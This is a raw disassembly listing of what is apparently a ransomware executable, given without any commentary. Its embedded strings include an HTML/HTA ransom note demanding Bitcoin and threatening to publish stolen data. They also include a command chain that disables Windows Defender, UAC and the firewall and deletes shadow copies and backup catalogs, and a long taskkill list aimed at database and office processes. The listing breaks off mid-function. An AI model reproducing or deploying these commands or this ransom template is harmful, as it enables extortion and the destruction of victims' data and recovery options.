mov byte [ebp - 4], 0x50
lea ecx, [ebp - 0x1778]
call fcn.00439c10
add esp, 4
push str.AppDataN_Save.sys
mov edx, eax
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0xa74]
call fcn.00439ad0
add esp, 4
lea ecx, [ebp - 0x1778]
call fcn.004049c0
lea ecx, [ebp - 0x1790]
mov byte [ebp - 4], 0x54
call fcn.004049c0
push 0xb8
lea eax, [ebp - 0x1474]
push 0
push eax
call fcn.004a8980
add esp, 4
lea eax, [ebp - 0xa74]
lea ecx, [ebp - 0x1474]
push 0x22
push eax
call fcn.00433b00
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x1474]
mov eax, dword [ebp - 0x1474]
mov eax, dword [eax + 4]
add ecx, eax
call fcn.00403730
test al, al
je 0x42d6f1
push 0xb0
lea eax, [ebp - 0xdf4]
push 0
push eax
call fcn.004a8980
lea eax, [ebp - 0xa74]
push eax
lea ecx, [ebp - 0xdf4]
call fcn.00433980
lea edx, [ebp - 0xbdc]
mov byte [ebp - 4], 0x56
lea ecx, [ebp - 0xdf4]
call fcn.00439470
lea ecx, [ebp - 0xdf4]
call fcn.00433910
lea ecx, [ebp - 0xdf4]
mov byte [ebp - 4], 0x55
call fcn.0040ae10
lea ecx, [ebp - 0x1474]
call fcn.00433a90
mov ecx, dword [ebp - 0x974]
lea eax, [ebp - 0x984]
test ecx, ecx
je 0x42d71b
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x42d710
sub esp, 0x18
lea eax, [ebp - 0x82c]
mov ecx, esp
push eax
call fcn.004312d0
call fcn.00421c90
add esp, 0x18
lea ecx, [ebp - 0x1474]
call fcn.0040ac80
lea ecx, [ebp - 0xa74]
call fcn.004049c0
lea ecx, [ebp - 0xbdc]
call fcn.00431ac0
lea ecx, [ebp - 0x984]
call fcn.00431ac0
lea ecx, [ebp - 0xd44]
call fcn.0040b040
lea ecx, [ebp - 0xbc4]
call fcn.00431ac0
lea ecx, [ebp - 0x102c]
call fcn.0040b040
lea ecx, [ebp - 0xbac]
call fcn.00431ac0
lea ecx, [ebp - 0x90c]
call fcn.00431ac0
lea ecx, [ebp - 0xb7c]
call fcn.00431ac0
lea ecx, [ebp - 0x9e4]
call fcn.00431ac0
lea ecx, [ebp - 0x9fc]
call fcn.00431ac0
lea ecx, [ebp - 0xc4c]
mov dword [ebp - method.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.virtual_0], vtable.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.0
mov dword [ebp - method.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.1.virtual_0], vtable.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.1.0
mov dword [ebp - method.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.virtual_0], vtable.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.0
mov dword [ebp - method.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.1.virtual_0], vtable.CryptoPP::StringSinkTemplate_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___.1.0
call fcn.00407d70
lea ecx, [ebp - 0x13bc]
mov dword [ebp - method.CryptoPP::NameValuePairs.virtual_0], vtable.CryptoPP::NameValuePairs.0
call fcn.00416020
lea ecx, [ebp - 0x12b4]
mov dword [ebp - method.CryptoPP::NameValuePairs.virtual_0], vtable.CryptoPP::NameValuePairs.0
call fcn.00416020
lea ecx, [ebp - 0xf6c]
mov dword [ebp - method.CryptoPP::NameValuePairs.virtual_0], vtable.CryptoPP::NameValuePairs.0
mov byte [ebp - 4], 0x2b
call fcn.0040b040
push 0x38
lea eax, [ebp - 0xc84]
push 0
push eax
call fcn.004a8980
add esp, 0xc
push 0
push ecx
push 0x520148
lea ecx, [ebp - 0xc84]
call fcn.004076c0
lea eax, [ebp - 0xc84]
mov byte [ebp - 4], 0x57
push eax
mov ecx, 0x51fbdc
call fcn.00441ba0
push str.Second_Email_:
lea ecx, [ebp - 0x9b4]
call fcn.00431260
push 0
push 0x4ffec8
mov ecx, 0x51fc18
mov byte [ebp - 4], 0x58
call fcn.00430e90
cmp eax, 0xffffffff
jne 0x42d8a3
push str.Telegram___ID_:
lea ecx, [ebp - 0x9b4]
call fcn.00431170
push 0x51fc30
mov edx, str._html__head__title_
lea ecx, [ebp - 0x1880]
call fcn.00439de0
add esp, 4
push str.__title__style_.spnn__background_color:yellow__.xswcolor:white__.Circe1_display:_list_item_padding_left:30px_.divesbackground_color:_eaecee__border:_1px_solid_black_padding:30px_.center_text_align:_center_.vl_border:_1px_solid_black_background_color:f2f4f4_margin_left:5px_margin_right:5px_padding:4px_.Mrgnlf_margin:15px_.fnt_background_color:red_height:70px_text_align:_center_font_size:_3em__hr.new1_border:_0_height:_1px_background_image:_linear_gradient_to_right__rgba_0__0__0__0___rgba_0__0__0__0.75___rgba_0__0__0__0____h3_font_size:_12vw___style__HTA:APPLICATION_ICONmsiexec.exe_SINGLEINSTANCEyes_SysMenuno__script_languagejavascript_window.moveTo_100__100__window.resizeTo__window.screen.width__150__window.screen.height__150____script___head__body__div_class_center___img_src_data:image_png_base64_iVBORw0KGgoAAAANSUhEUgAAAE4AAABlCAYAAADjwdXoAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAAEnQAABJ0Ad5mH3gAAAjNSURBVHhe7Z1ZyE1dGMfXe8wziQyZScpYKC4QJRdmFSOzCEiCReiZMibOURCIQol4UKGkMgsLlyQzGWe58_vfZ6vP43rPXXmefs5be_avT2Xuf95y9938_a63nedbwFv38hfKMDx8qMfP8t2xYoVVbVq1WTbJ5wKdTIEXXq1Cl14sQJdfHiRWVyKR07dlR9vRRPXr0UKNGjQqO_gvfLyoqCvbyS8GF27Jli1q3bp26du2a7JcrV06sqkKFCrKdTqYI379_V1_flVfvnxR3759k2NNmzZVkydPVnPnzpX9QlEQ4d6_f6mTJmiduzYIftVqlRRlStXlm1btHUhIr8P_fr1Uxs3blStW7eW_XySdFGjBih9u_fr8qXL6qV6et6LEbXz69EleXbp0UceOHVP16tULPo2fVPAeO0uXLhWRDh06pGrXrq1q1KiR1_qH38aS69Spo27fvq3q16vxo8fH3waP7FbHPVQs2bN1MOHDUmPl8ClYanPfVq1eyfffuXdW8eXPZjotYLe706dNSJJ8_fy6igQvRgPNqS2_RooVauXJl8Ek8xCbc4sWLVe_eveViKTIgHg8SK5p9uzZf7gvuZBTUdXFcNKkSWrTpk1yga4szISXL1KD4jfmGsVkpPFceLp06eLaLpogzXePLkSdW3b9cH3BOwq1Zs0atXbvWaSMQFa4Vi8u12FoX1Zs3b6oOHTrELhqtMq8fP37I76ZSKamnMqOKXOB3aXHXr18vjrkN1sIhVM2aNXO6IU7Ni6CeUErTrl07cV4RjRb6zp074tgC5yPo5zPbh6VvGfFwmxo1aiT7UbASrmvXrurGjRuqatWq1hePVb1580a2cVRHjx4tFXc2rl69qnbt2qVWrVolQiMgca4tOgOjQ7YoRK7jCJ8uXbokF20jGsJ1o2iuGfPHtnfvHlzqGjQuXNntXz5colPz58_rxo0aFDyWzYgOtYderU4Ig5kS0ulyKqA_Li4mI1cbM4GhuENINHjzYOm_H7VNksX6cZVMiWdy8efPk3UY0LgzRES4u0WDQoEFy84RUWF9UuCZSWkOHDg2OmBHJ4jiJjZPLDZHqoZLPJ9STu3fvjuxTaqu7f_atKkSXA0O8YWR7bDBiytTZs2eRcNaDgQL6rlYQi4PLNmzQqOhGNscdQhJB85gSm0fLgNr1_Do4UBtLrt27dkrrYFG11pgXQyOLIeiBCFNHg3bt34raA6QXFwfXr1V8uDym6OqHFt4EIEoAlEbBIrLwoULpU8AotaLuXL48OESP9EU_FLcHROMiio3TVNtanF0pPCdQhfRTDp16iR1q2n_BlKYFtdQi6OlgSgW9_btWeiAT1pHz9DPbC0aVi79698p6NUOGOHj0q76ZFzdaLzxetWrX6LQ4OAwOhjzeMUOGuXLkSqVEgGMcp9YVhw4ZJI2UK3oM2lmyECnfmzBnxrE0hcB45cmSw554ZM2YEW2Zwr6TMwghtHDBdGgb8MRNoTaPGffkEl4TGQaeiTOAewhqI0FizopSv1WqVMmbzhrgwZPf00MmwtB19LNnzS9NMwegSE83caNG0d2lPMN8aepM6yt8smTJ_JeGrEKh3kzzME3KKYmvlk6YW5MrMKBabEuJDbXFPad2IUrKyTCWZIIZ0kinCWJcJYkwlmSCGdJIpwlsQtnGkgXkqhpfyDmzkZJdoQ37S0fPHhQgmJyU0OGDDHuSU7DGBZsWKFpJeihjn5gCzNkiVL1OXLlVTCB9Tt8DfcEkQckvZqbff0sr6aH16dSqVSuSFXGiKInDQsBNR83YZPbNMpPn3LlzwV6acC1btpTR2boXXOtpEelPQsvsLkH4D70d_UQDp2GF1NiRHa6aMAf2Z5Qf9eXly3p36XIk6sbOHCg7IvF8QdRi2RZRWeHUwzWg0S0cHR2mN7VHqFl5AdjIvsNtVaikxnYm3m4BOePECzVLetYKg2aJqVmSCGdJIpwliXCWeCccHce09MS7DBdjHoJpL3wh8UI4WnVGOeGVI9KAAQPUuHHj1IQJE2QYPQE6nyGkL3ghHGmc9u3bq0ePHsk8iAMHDqgNGzbIJDVm3zx9lQml5C9QUDtwbvEqXBYGkKw5MWFCxdUw4YNg0_hOFXiMgCL4z2jDIwOh84FQ5L27p1q5o4cWJwJDtYWq9evdTZs2cjD4yOG2fCUfn3799fjR07NjgSjg4Ne_bsKdOjdKbCBU6Ew3JICO7cuTM4Eh2mAtBouCqyToSjou_evbssqmILdR59AVFGlceJEFwPbp16xbs2cPAaFcnhPhqJdwP3KFOVuucCIc4JvlStg43XziRDiGu5pONsvG_PnzjacbxY0T4Ug_EyVEcUUyIaog7VmhKNXja7Ibdu2qTlz5gRHw9EG9bKAgQulyRyVscB4jFcYvXq1cGR7CDS8ePHJdJANJc4FQ7oz2XakOlswHDh5esfOjK2sC5cDqMmjZtmrxnY_v27RKjjABxblwgAWR9QiD1VwJs1xamsYL4bAgJhTrScX_BxHCgwcPrMa65QMvhNMWpNc6j_IppDk1EXbNX5cRUC2IiidwJ6IBl4J9zeRCGdJIpwliXCWJMJZkghnSSKcJYlwlnglXLZwynU2JBOvhHv8HGw9Sf0jNHzn4RcGZAhybYmE3PKmIvli9V5IxwZEsbCIcyCBQvUsmXLZF3ORYsWqbp168q6vyyM5wtFxcXFP1lU03UqGhgaQb8CWRA9tAEhsUYfkpfAwx0zZoxfdZzOgDBviv4IHiYvX3Jw6XglHKS3npnvPuGdcH8LiXCWpFwNzPubQbMUFW8injloxbCLFKv5JZjDoEjz1fJDOn0aeUJpcO4Y0JDaRwYVuDDgseg7Xx7wH5zyUlq0BgdYQ0YQuVlFWIajAuveJsiXB0BiMcfxBl3dygF4y4969e2JxSFYinGbfvn3yz3wYcuCjx15IRKBfGrRt21bmlv2HUv8AVAIUN7u0pAAAAAASUVORK5CYII__alt_Paris____div___br__div_class_fnt__Your_Files_Has_Been__span_class_xsw__Stolen__span__And__span
mov edx, eax
mov byte [ebp - 4], 0x59
lea ecx, [ebp - 0x1868]
call fcn.00439ad0
add esp, 4
push 0x51fce8
mov edx, eax
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0x1850]
call fcn.00439c10
add esp, 4
push str.__span___br___br_If_You_Want_To_Restore_Them_Email_Us_:__span_class_spnn__
mov edx, eax
mov byte [ebp - 4], 0x5b
lea ecx, [ebp - 0x1838]
call fcn.00439ad0
add esp, 4
push 0x51fc30
mov edx, eax
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x1820]
call fcn.00439c10
add esp, 4
push str.__span___br___br_If_You_Do_Not_Receive_A_Response_Within_24_Hours__Send_A_Message_To_Our
mov edx, eax
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x1808]
call fcn.00439ad0
add esp, 4
lea ecx, [ebp - 0x9b4]
mov byte [ebp - 4], 0x5e
push ecx
mov edx, eax
lea ecx, [ebp - 0x1988]
call fcn.00439c10
add esp, 4
push str.__span_class_spnn__
mov edx, eax
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x17d8]
call fcn.00439ad0
add esp, 4
push 0x51fc18
mov edx, eax
mov byte [ebp - 4], 0x60
lea ecx, [ebp - 0x17c0]
call fcn.00439c10
add esp, 4
push str.__span___br___br_To_Decrypt_Your_Files_You_Need_Buy_Our_Special_Decrypter_In_Bitcoin_.__br___br_Every_Day_The_Delay_Increases_The_Price____The_Decryption_Price_Depends_On_How_Fast_You_Write_To_Us_Email.__br___br_We_Deliver_The_Decryptor_Immediately_After_Payment___Please_Write_Your_System_ID_In_The_Subject_Of_Your_E_mail.__br___br___br___br__div_class_dives____h3_What_Is_The_Guarantee____h3___br__div_class_Circe1__Before_Payment_You_Can_Send_Some_Files_For_Decryption_Test.__div___br___br__div_class_Circe1__If_We_Do_Not_Fulfill_Our_Obligations__No_One_Does_Business_With_Us___Our_Reputation_Is_Important_To_Us_Its_Just_Business_To_Get_Benefits.__div___br___br__hr_class_new1____br___br__h3_Attention____h3___br__div_class_Circe1__Do_Not_Rename_Modify_Encrypted_Files_.__div___br___br__div_class_Circe1__Do_Not_Try_To_Recover_Files_With_Free_Decryptors_Or_Third_Party_Programs_And_Antivirus_Solutions_Because___br___br_It_May_Make_Decryption_Harder_Or_Destroy_Your_Files_Forever____div___br___br__hr_class_new1____br___br__h3_Buy_Bitcoin____h3___br__div_class_Circe1___a_hrefhttps:__www.kraken.com_learn_buy_bitcoin_btc_https:__www.kraken.com_learn_buy_bitcoin_btc__a___div___br___br__div_class_Circe1___a_hrefhttps:__www.coinbase.com_how_to_buy_bitcoin_https:__www.coinbase.com_how_to_buy_bitcoin__a___div___div___div___div___body___html_
mov edx, eax
mov byte [ebp - 4], 0x61
lea ecx, [ebp - 0x17a8]
call fcn.00439ad0
add esp, 4
mov ecx, 0x51fd18
push eax
call fcn.004311d0
lea ecx, [ebp - 0x17a8]
call fcn.004049c0
lea ecx, [ebp - 0x17c0]
call fcn.004049c0
lea ecx, [ebp - 0x17d8]
call fcn.004049c0
lea ecx, [ebp - 0x1988]
call fcn.004049c0
lea ecx, [ebp - 0x1808]
call fcn.004049c0
lea ecx, [ebp - 0x1820]
call fcn.004049c0
lea ecx, [ebp - 0x1838]
call fcn.004049c0
lea ecx, [ebp - 0x1850]
call fcn.004049c0
lea ecx, [ebp - 0x1868]
call fcn.004049c0
lea ecx, [ebp - 0x1880]
mov byte [ebp - 4], 0x58
call fcn.004049c0
push str.reg.exe_add__HKLMSoftwarePoliciesMicrosoftWindows_Defender___v__DisableAntiSpyware___t_REG_DWORD__d__1___freg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__fvssadmin.exe_Delete_Shadows__All__Quietwmic_shadowcopy_deletenetsh_advfirewall_set_currentprofile_state_offnetsh_firewall_set_opmode_modedisablenetsh_advfirewall_firewall_set_rule_group_Network_Discovery__new_enableYeswbadmin_delete_catalog__quiet
lea ecx, [ebp - 0xa8c]
call fcn.00431bd0
lea ecx, [ebp - 0xa8c]
mov byte [ebp - 4], 0x62
call fcn.00431660
push eax
call fcn.004b5282
add esp, 4
lea ecx, [ebp - 0xb4c]
push str.taskkill__im_msftesql.exetaskkill__im_sqlagent.exetaskkill__im_sqlbrowser.exetaskkill__im_sqlservr.exetaskkill__im_sqlwriter.exetaskkill__im_oracle.exetaskkill__im_ocssd.exetaskkill__im_dbsnmp.exetaskkill__im_synctime.exetaskkill__im_agntsvc.exetaskkill__im_mydesktopqos.exetaskkill__im_isqlplussvc.exetaskkill__im_xfssvccon.exetaskkill__im_mydesktopservice.exetaskkill__im_ocautoupds.exetaskkill__im_agntsvc.exetaskkill__im_encsvc.exetaskkill__im_firefoxconfig.exetaskkill__im_tbirdconfig.exetaskkill__im_ocomm.exetaskkill__im_mysqld.exetaskkill__im_mysqld_nt.exetaskkill__im_mysqld_opt.exetaskkill__im_dbeng50.exetaskkill__im_sqbcoreservice.exetaskkill__im_excel.exetaskkill__im_infopath.exetaskkill__im_msaccess.exetaskkill__im_mspub.exetaskkill__im_onenote.exetaskkill__im_outlook.exetaskkill__im_powerpnt.exetaskkill__im_steam.exetaskkill__im_thebat.exetaskkill__im_thebat64.exetaskkill__im_thunderbird.exetaskkill__im_visio.exetaskkill__im_winword.exetaskkill__im_wordpad.exe
call fcn.00431bd0
lea ecx, [ebp - 0xb4c]
mov byte [ebp - 4], 0x63
call fcn.00431660
push eax
call fcn.004b5282
push 0x51fce8
mov edx, str.All_Your_Files_Are_Locked_And_Important_Data_Downloaded___r_n_r_n_r_nYour_Files_Are_No_Longer_Accessible_Dont_Waste_Your_Time__Without_Our_Decryption_Program_Nobody_Cant_Help_You_._r_n_r_nIf_Payment_Isnt_Made_After_A_While_We_Will_Sell_OR_Publish_Some_Of_Your_Data_._You_Dont_Have_Much_Time__r_n_r_n_r_nYour_ID_:
lea ecx, [ebp - 0x1940]
call fcn.00439de0
add esp, 8
push str._r_n_r_nIf_You_Want_To_Restore_Them_Email_Us_:
mov edx, eax
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0x1928]
call fcn.00439ad0
add esp, 4
push 0x51fc30
mov edx, eax
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x1910]
call fcn.00439c10
add esp, 4
push str._r_n_r_nIf_You_Do_Not_Receive_A_Response_Within_24_Hours__Send_A_Message_To_Our
mov edx, eax
mov byte [ebp - 4], 0x66
lea ecx, [ebp - 0x18f8]
call fcn.00439ad0
add esp, 4
lea ecx, [ebp - 0x9b4]
mov byte [ebp - 4], 0x67
push ecx
mov edx, eax
lea ecx, [ebp - 0x18e0]
call fcn.00439c10
add esp, 4
push 0x4fb56c
mov edx, eax
mov byte [ebp - 4], 0x68
lea ecx, [ebp - 0x18c8]
call fcn.00439ad0
add esp, 4
push 0x51fc18
mov edx, eax
mov byte [ebp - 4], 0x69
lea ecx, [ebp - 0x18b0]
call fcn.00439c10
add esp, 4
mov byte [ebp - 4], 0x6a
push str._r_n_r_nTo_Decrypt_Your_Files_You_Need_Buy_Our_Special_Decrypter_In_Bitcoin_._r_n_r_nEvery_Day_The_Delay_Increases_The_Price____The_Decryption_Price_Depends_On_How_Fast_You_Write_To_Us_Email._r_n_r_nWe_Deliver_The_Decryptor_Immediately_After_Payment___Please_Write_Your_System_ID_In_The_Subject_Of_Your_E_mail._r_n_r_nWhat_is_the_guarantee___r_n_r_nBefore_Payment_You_Can_Send_Some_Files_For_Decryption_Test._r_n_r_nIf_We_Do_Not_Fulfill_Our_Obligations__No_One_Does_Business_With_Us___Our_Reputation_Is_Important_To_Us__r_nIts_Just_Business_To_Get_Benefits._r_n_r_n_r_n_r_nAttention___r_n_r_nDo_Not_Rename_Modify_Encrypted_Files_._r_n_r_nDo_Not_Try_To_Recover_Files_With_Free_Decryptors_Or_Third_Party_Programs_And_Antivirus_Solutions_Because__r_n_r_nIt_May_Make_Decryption_Harder_Or_Destroy_Your_Files_Forever___r_n_r_n_r_n_r_nBuy_Bitcoin___r_n_r_nhttps:__www.kraken.com_learn_buy_bitcoin_btc_r_n_r_nhttps:__www.coinbase.com_how_to_buy_bitcoin
mov edx, eax
lea ecx, [ebp - 0x1898]
call fcn.00439ad0
add esp, 4
mov ecx, 0x51fd00
push eax
call fcn.004311d0
lea ecx, [ebp - 0x1898]
call fcn.004049c0
lea ecx, [ebp - 0x18b0]
call fcn.004049c0
lea ecx, [ebp - 0x18c8]
call fcn.004049c0
lea ecx, [ebp - 0x18e0]
call fcn.004049c0
lea ecx, [ebp - 0x18f8]
call fcn.004049c0
lea ecx, [ebp - 0x1910]
call fcn.004049c0
lea ecx, [ebp - 0x1928]
call fcn.004049c0
lea ecx, [ebp - 0x1940]
mov byte [ebp - 4], 0x63
call fcn.004049c0
mov edx, str.file
mov ecx, 0x5200b8
call fcn.004390a0
test al, al
je 0x42dd17
mov ecx, 0x5200a0
call fcn.0040f5e0
cmp byte [0x5200e9], 1
jne 0x42e4a4
push str.__ID_
mov edx, 0x5200a0
lea ecx, [ebp - 0x19b8]
call fcn.00439b40
add esp, 4
push 0x51fce8
mov edx, eax
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x19a0]
call fcn.00439c10
add esp, 4
push 0x4ff910
mov edx, eax
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x1b20]
call fcn.00439ad0
add esp, 4
push 0x51fc30
mov edx, eax
mov byte [ebp - 4], 0x6d
lea ecx, [ebp - 0x1970]
call fcn.00439c10
add esp, 4
push 0x4ff90c
mov edx, eax
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x1958]
call fcn.00439ad0
add esp, 4
push 0x51fdb8
mov edx, eax
mov byte [ebp - 4], 0x6f
lea ecx, [ebp - 0x99c]
call fcn.00439c10
add esp, 4
lea ecx, [ebp - 0x1958]
call fcn.004049c0
lea ecx, [ebp - 0x1970]
call fcn.004049c0
lea ecx, [ebp - 0x1b20]
call fcn.004049c0
lea ecx, [ebp - 0x19a0]
call fcn.004049c0
lea ecx, [ebp - 0x19b8]
mov byte [ebp - 4], 0x75
call fcn.004049c0
lea ecx, [ebp - 0x99c]
call fcn.00431090
push eax
mov ecx, 0x5200a0
call fcn.00431090
push eax
call fcn.004b59c6
add esp, 8
test eax, eax
je 0x42dd03
push ecx
mov edx, 0x5200a0
lea ecx, [ebp - 0x19d0]
call fcn.00439c70
add esp, 4
lea ecx, [ebp - 0x99c]
push eax
call fcn.004311d0
lea ecx, [ebp - 0x19d0]
call fcn.004049c0
lea ecx, [ebp - 0x99c]
call fcn.00431090
push eax
mov ecx, 0x5200a0
call fcn.00431090
push eax
call fcn.004b59c6
add esp, 8
lea ecx, [ebp - 0x99c]
mov byte [ebp - 4], 0x63
call fcn.004049c0
jmp 0x42e4a4
mov edx, 0x50063c
mov ecx, 0x5200b8
call fcn.004390a0
test al, al
je 0x42e450
xorps xmm0, xmm0
lea ecx, [ebp - 0x8bc]
movups xmmword [ebp - 0x8bc], xmm0
movq qword [ebp - 0x8ac], xmm0
call fcn.00405130
xorps xmm0, xmm0
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0x8a4]
movq qword [ebp - 0x894], xmm0
movups xmmword [ebp - 0x8a4], xmm0
call fcn.00405130
sub esp, 0x3c
mov byte [ebp - 4], 0x77
mov esi, esp
mov ecx, 0x5200a0
push 1
push 1
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00430e30
sub esp, 0x18
mov byte [ebp - 4], 0x78
mov ecx, esp
push 0x5200a0
call fcn.004312d0
mov ecx, esi
mov byte [ebp - 4], 0x77
call fcn.0043a750
add esp, 0x38
lea ecx, [ebp - 0x8bc]
call fcn.0043a940
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 1
push 2
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00430e30
sub esp, 0x18
mov byte [ebp - 4], 0x79
mov ecx, esp
push 0x5200a0
call fcn.004312d0
mov ecx, esi
mov byte [ebp - 4], 0x77
call fcn.0043a750
add esp, 0x38
lea ecx, [ebp - 0x8bc]
call fcn.0043a940
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 1
push 3
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00430e30
sub esp, 0x18
mov byte [ebp - 4], 0x7a
mov ecx, esp
push 0x5200a0
call fcn.004312d0
mov byte [ebp - 4], 0x77
mov ecx, esi
call fcn.0043a750
add esp, 0x38
lea ecx, [ebp - 0x8bc]
call fcn.0043a940
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 1
push 4
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00430e30
sub esp, 0x18
mov byte [ebp - 4], 0x7b
mov ecx, esp
push 0x5200a0
call fcn.004312d0
mov ecx, esi
mov byte [ebp - 4], 0x77
call fcn.0043a750
add esp, 0x38
lea ecx, [ebp - 0x8bc]
call fcn.0043a940
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 1
push 5
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00430e30
sub esp, 0x18
mov byte [ebp - 4], 0x7c
mov ecx, esp
push 0x5200a0
call fcn.004312d0
mov ecx, esi
mov byte [ebp - 4], 0x77
call fcn.0043a750
add esp, 0x38
lea ecx, [ebp - 0x8bc]
call fcn.0043a940
lea ecx, [ebp - 0x8bc]
call fcn.00405330
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 0
push 1
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00430e30
sub esp, 0x18
mov byte [ebp - 4], 0x7d
mov ecx, esp
push 0x5200a0
call fcn.004312d0
mov ecx, esi
mov byte [ebp - 4], 0x77
call fcn.0043a750
add esp, 0x38
lea ecx, [ebp - 0x8a4]
call fcn.0043a940
sub esp, 0x3c
mov esi, esp
push 0
push 2
sub esp, 0x18
mov ecx, 0x5200a0
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00430e30
sub esp, 0x18
mov byte [ebp - 4], 0x7e
mov ecx, esp
push 0x5200a0
call fcn.004312d0
mov ecx, esi
mov byte [ebp - 4], 0x77
call fcn.0043a750
add esp, 0x38
lea ecx, [ebp - 0x8a4]
call fcn.0043a940
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 0
push 3
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00430e30
sub esp, 0x18
mov byte [ebp - 4], 0x7f
mov ecx, esp
push 0x5200a0
call fcn.004312d0
mov ecx, esi
mov byte [ebp - 4], 0x77
call fcn.0043a750
add esp, 0x38
lea ecx, [ebp - 0x8a4]
call fcn.0043a940
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 0
push 4
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00430e30
sub esp, 0x18
mov byte [ebp - 4], 0x80
mov ecx, esp
push 0x5200a0
call fcn.004312d0
mov ecx, esi
mov byte [ebp - 4], 0x77
call fcn.0043a750
add esp, 0x38
lea ecx, [ebp - 0x8a4]
call fcn.0043a940
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 0
push 5
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00430e30
sub esp, 0x18
mov byte [ebp - 4], 0x81
mov ecx, esp
push 0x5200a0
call fcn.004312d0
mov ecx, esi
mov byte [ebp - 4], 0x77
call fcn.0043a750
add esp, 0x38
lea ecx, [ebp - 0x8a4]
call fcn.0043a940
lea ecx, [ebp - 0x8a4]
call fcn.00405330
cmp byte [0x5200e9], 1
jne 0x42e434
xorps xmm0, xmm0
mov byte [0x5200ef], 1
lea ecx, [ebp - 0x88c]
movq qword [ebp - 0x87c], xmm0
movups xmmword [ebp - 0x88c], xmm0
call fcn.00405130
xorps xmm0, xmm0
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0x874]
movq qword [ebp - 0x864], xmm0
movups xmmword [ebp - 0x874], xmm0
call fcn.00405130
sub esp, 0x3c
mov byte [ebp - 4], 0x83
mov esi, esp
mov ecx, 0x5200a0
push 1
push 1
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00430e30
sub esp, 0x18
mov byte [ebp - 4], 0x84
mov ecx, esp
push 0x5200a0
call fcn.004312d0
mov ecx, esi
mov byte [ebp - 4], 0x83
call fcn.0043a750
add esp, 0x38
lea ecx, [ebp - 0x88c]
call fcn.0043a940
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 1
push 2
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00430e30
sub esp, 0x18
mov byte [ebp - 4], 0x85
mov ecx, esp
push 0x5200a0
call fcn.004312d0
mov ecx, esi
mov byte [ebp - 4], 0x83
call fcn.0043a750
add esp, 0x38
lea ecx, [ebp - 0x88c]
call fcn.0043a940
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 1
push 3
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00430e30
sub esp, 0x18
mov byte [ebp - 4], 0x86
mov ecx, esp
push 0x5200a0
call fcn.004312d0
mov ecx, esi
mov byte [ebp - 4], 0x83
call fcn.0043a750
add esp, 0x38
lea ecx, [ebp - 0x88c]
call fcn.0043a940
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 1
push 4
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
call fcn.00430e30
sub esp, 0x18
mov byte [ebp - 4], 0x87
mov ecx, esp
push 0x5200a0
call fcn.004312d0
mov ecx, esi
mov byte [ebp - 4], 0x83
call fcn.0043a750
add esp, 0x38
lea ecx, [ebp - 0x88c]
call fcn.0043a940
sub esp, 0x3c
mov ecx, 0x5200a0
mov esi, esp
push 1
push 5
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x147c], esp
push 2
push 0
push eax
